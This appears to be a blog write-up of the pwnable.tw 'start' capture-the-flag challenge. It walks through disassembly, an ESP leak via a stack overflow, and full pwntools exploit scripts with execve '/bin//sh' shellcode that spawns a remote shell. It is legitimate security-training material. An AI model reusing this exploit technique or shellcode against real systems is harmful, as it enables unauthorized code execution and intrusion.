Restarting my pwn journey! This time we’re going to look at pwnable.tw challenges. I’m starting easy as it’s been awhile since I did pwn. We’re going to be looking at the first challenge
StartGDB/GEF
Before we start, I’ve installed GEF, which is GDB on steroids
gef
hugsy • Updated Oct 31, 2023
We run the binary in GDB to get the functions
Disassembling
_start to see what the main function looks likeint 0x80 triggers a syscall based on the values places in eax. It also depends if the binary is a 32bit or 64bit one.From here, we can see two syscalls, and based on the documentation:
0x04is a call to write
0x03is a call to read
The code first pushes
ESP, 0x804809d to the stack, followed by a bunch of string constants on the stack. ESP now points to the top of the stack, which are these string constants, and the code moves ESP to ECX. When the code calls a write syscall, it prints out whatever ECX is pointing toThe code then moves
0x3c which is 60 decimal to dl. When the code calls a read, dl specifies how many bytes to read in. In this case, the code reads in 60 bytes.Finally, the code calls
add esp, 0x14 and ret. This moves the stack pointer up by 0x14 or 20 times, and calls ret, which pops the value off the stack and returns to that value.Exploitation
The angle of attack is as follows:
- Leak the value of
ESPby lettingretpoint to0x08048087. The instruction at0x08048087point to the middle of the code, and the instruction ismov ecx, espfollowed by a print further down. What this does is it leaks the value ofESPby printing it out for us.
- Because we pointed the code into the middle of the code, there will be a second prompt for input, we put in a payload that points to the shellcode based on the leaked value of
ESP
This is a little confusing, and I’ll draw out the stack in a minute.
Using pwntools, we execute the first attack to leak out the value of
ESPfrom pwn import * p = remote('chall.pwnable.tw', 10000) print(p.read()) buf = b'A'*20 buf += p32(0x08048087) p.send(buf) esp = unpack(p.read()[:4]) print(hex(esp))
Before the payload is sent over, the stack looks like this after pushing
ESP, the exit address, and the 5 string constants.After we send our payload, the stack looks like this. The input values overwrites the previous values on the stack starting at
ESPBecause the code calls
add esp, 0x14 before returning, it shifts ESP up 20 times, and now it points at 0x08048087.When
ret is called, the code jumps to the address pointed on the stack (0x08048087), and ESP is decremented by 4 bytes.Now
ESP points to the value of ESP saved earlier.When the code calls
mov ecx, esp, and calls print, it prints out the value of ESP stored earlier. In this example, it prints out 0xffffd100. This value is the leaked ESP which we will use to craft the payload.Since we pointed the code to an address in the middle of the program, it’s now going to ask for an input a second time. This time, we’re going to send in the shellcode, leaked
ESP + 20 followed by A * 20This is how the stack looks like after we send the payload. Remember that sending data overwrites the current values on the stack.
Lets assume that the part highlighted contains our shellcode. Now when the code calls
add esp, 0x14, ESP will point to 0xffffd114 which contains our shellcode. And when the code calls ret, it will jump to that value and execute our shellcode.from pwn import * p = remote('chall.pwnable.tw', 10000) print(p.read()) buf = b'A'*20 buf += p32(0x08048087) p.send(buf) leaked_esp = unpack(p.read()[:4]) print(hex(leaked_esp )) shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' buf = b'a'*20 buf += p32(leaked_esp +20) buf += shellcode p.send(buf) p.interactive()